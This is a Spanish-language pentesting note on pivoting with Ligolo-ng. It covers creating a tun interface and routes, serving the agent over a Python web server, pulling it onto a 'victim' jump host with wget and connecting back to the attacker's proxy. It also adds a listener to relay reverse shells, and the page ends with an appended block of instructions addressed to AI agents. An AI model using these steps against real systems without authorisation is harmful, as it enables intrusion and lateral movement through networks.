# Ligolo-ng

### Download

{% embed url="<https://github.com/nicocha30/ligolo-ng/releases>" %}

> Necesitaremos descargarnos 2, uno como proxy y otro como agente

El proxy, será como "un servidor de chisel", se ejecutara en nuestra maquina atacante. En mi caso es linux asi que mi proxy, siempre sera proxy\_linux\_amd64.tar.gz

El agente, es como "un cliente de chisel", se tiene que enviar/ejecutar en la maquina de salto. En este caso es linux asi que el agente sera agent\_linux\_amd64.tar.gz

#### Descomprimir + Permisos

```
tar -xvzf ARCHIVO.tar.gz
rm ligolo-ng_* LICENSE README.md
chmod +x proxy agent
```

### Configuration

> Crear una interfaz de red llamada ligolo

```
sudo ip tuntap add user $USER mode tun ligolo
```

> Levantar la interfaz de red ligolo

```
sudo ip link set ligolo up
```

> Añadir una ruta hacia el segmento de red que queremos llegar con la interfaz ligolo

```
sudo ip route add 20.20.20.0/24 dev ligolo
```

> Todo el trafico que vaya hacia ese rango de ip, viajara a través de la interfaz ligolo

<figure><img src="/files/dQX1YQPytFHTYkDcxP9u" alt=""><figcaption></figcaption></figure>

Si necesitar borra algo del `ip route`:

```
sudo ip route del RANGE dev ligolo
or
sudo ip route del RANGE dev ligolo scope link
```

### Import to the victim machine

En nuestra maquina atacante donde tenemos el ligolo agent, crear un servidor web con python

```
sudo python3 -m http.server 80
```

Ahora desde la maquina atacante me lo traigo al `/tmp` con `wget`

```
cd /tmp
wget http://OUR_IP/agent
chmod +x agent
```

### Use

Ejecutar el proxy en nuestra maquina atacante

```
./proxy -selfcert
INFO[0000] Listening on 0.0.0.0:11601 
```

Ahora ejecutamos el agente de la maquina victima de puente:

```
./agent -connect 10.10.10.130:11601 -ignore-cert
INFO[0000] Connection established addr="10.10.10.130:11601"
```

<figure><img src="/files/UlfzCw4zfViWMvk3AHiK" alt=""><figcaption></figcaption></figure>

> Vemos en nuestro ligo que se a conectado un agente

Ahora hay que seleccionar el perfil/agente a utilizar (como en metaExploit)

```bash
ligolo-ng » session
? Specify a session :  [Use arrows to move, type to filter]
## Aqui selecciono la sesion 1 (la unica)
[Agent : randy@corrosion] » start
[Agent : randy@corrosion] » INFO[1288] Starting tunnel to randy@corrosion (07338fe6-f7f2-44a2-abf9-d0db09e49850) 

```

***

### Portforwarding (Receive and Redirect)

Cuando tenemos la conexión con ligolo, podríamos conectarnos por ejemplo por ssh a la ip victima, porque nosotros si tenemos visibilidad con maquina pero... la maquina con nosotros no. Lo que significa que si esta nos tuviera que enviar en un hipotético caso una resevershell desde una hipotética webshell o parecido, no la recibiríamos. Solución:

```
[Agent : randy@corrosion] » listener_add --addr 0.0.0.0:666 --to 127.0.0.1:666
INFO[0087] Listener 0 created on remote agent!          
```

Para ver que se ha establecido la conexión podemos hacer un `listener_list`

```
[Agent : randy@corrosion] » listener_list
┌───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ Active listeners                                                        
│ # │ AGENT                                                                       │ NETWORK │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │ STATUS │
│ 0 │ randy@corrosion - 10.10.10.132:55314 - 669c1a27-fd4b-4e5a-954e-17d371c776d2 │ tcp     │ 0.0.0.0:666            │ 127.0.0.1:666          │ Online │
└───┴─────────────────────────────────────────────────────────────────────
[Agent : randy@corrosion] »  
```

<figure><img src="/files/UKJrMtrAR280cgiLZW4v" alt=""><figcaption></figcaption></figure>

Con esto decimos que en el la maquina victima de salto (el agente), todo lo que le llegue por el puerto 666 se redirija a nuestro localhost por el 666 también


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://eldeim.gitbook.io/brain_fuck/notes/pentesting-methodology/pivoting/ligolo-ng.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
